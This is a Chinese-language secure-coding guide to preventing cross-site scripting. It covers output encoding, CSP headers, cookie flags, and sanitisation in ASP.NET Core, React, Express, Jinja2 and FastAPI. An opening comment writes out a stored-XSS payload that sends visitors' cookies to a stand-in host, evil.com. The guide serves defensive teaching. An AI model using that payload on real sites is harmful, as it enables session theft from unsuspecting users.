XSS 跨站腳本攻擊（Cross-Site Scripting）

// Stored XSS 攻擊場景
// 攻擊者在留言中輸入: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// 如果直接輸出，所有看到這則留言的人的 Cookie 都會被偷
 
// 防禦 1: ASP.NET Core Razor — 預設做 HTML Encoding
// @Model.Comment ← 預設安全，自動轉義
// @Html.Raw(Model.Comment) ← 危險！跳過轉義
 
// 防禦 2: 手動 HTML Encode
using System.Web;
 
public string SanitizeOutput(string input)
    => HttpUtility.HtmlEncode(input);
// "<script>alert(1)</script>" → "&lt;script&gt;alert(1)&lt;/script&gt;"
 
// 防禦 3: CSP Header
app.Use(async (context, next) =>
{
    context.Response.Headers.Append(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;"
    );
    await next();
});
 
// 防禦 4: Cookie 安全屬性
builder.Services.AddAuthentication().AddCookie(options =>
{
    options.Cookie.HttpOnly = true;    // JS 不能讀取
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always; // 只走 HTTPS
    options.Cookie.SameSite = SameSiteMode.Strict; // 不隨跨站請求發送
});

// React — 預設安全
function Comment({ text }: { text: string }) {
  // 安全：React JSX 預設做 HTML Escape
  return <p>{text}</p>;
  // "<script>alert(1)</script>" 會顯示為文字，不會執行
}
 
// 危險！繞過 React 的保護
function UnsafeComment({ html }: { html: string }) {
  // 永遠不要用 dangerouslySetInnerHTML 處理使用者輸入
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
 
// 如果必須允許部分 HTML（如富文本編輯器），用 DOMPurify 消毒
import DOMPurify from "dompurify";
 
function SafeRichContent({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
    ALLOWED_ATTR: ["href"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
 
// DOM-based XSS 防禦
// 危險！
// document.getElementById("output").innerHTML = location.hash.slice(1);
 
// 正確！用 textContent 而非 innerHTML
document.getElementById("output")!.textContent = location.hash.slice(1);
 
// Express.js — CSP + 安全 Headers
import helmet from "helmet";
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:"],
      },
    },
  })
);

# Jinja2 — 預設做 HTML Escape
from markupsafe import escape
 
# 安全：Jinja2 模板預設轉義
# {{ user_comment }} ← 自動轉義
# {{ user_comment|safe }} ← 危險！跳過轉義
 
# 手動轉義
safe_output = escape("<script>alert(1)</script>")
# 結果: "&lt;script&gt;alert(1)&lt;/script&gt;"
 
# FastAPI — CSP Header
from fastapi import FastAPI
from fastapi.middleware.trustedhost import TrustedHostMiddleware
 
app = FastAPI()
 
@app.middleware("http")
async def add_security_headers(request, call_next):
    response = await call_next(request)
    response.headers["Content-Security-Policy"] = (
        "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
    )
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["X-Frame-Options"] = "DENY"
    return response
 
# 如果需要允許部分 HTML，用 bleach 消毒
import bleach
 
def sanitize_html(html: str) -> str:
    return bleach.clean(
        html,
        tags=["b", "i", "em", "strong", "a", "p", "br"],
        attributes={"a": ["href"]},
        strip=True,
    )
 
# 驗證 URL（防止 javascript: 協議的 XSS）
from urllib.parse import urlparse
 
def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.scheme in ("http", "https", "")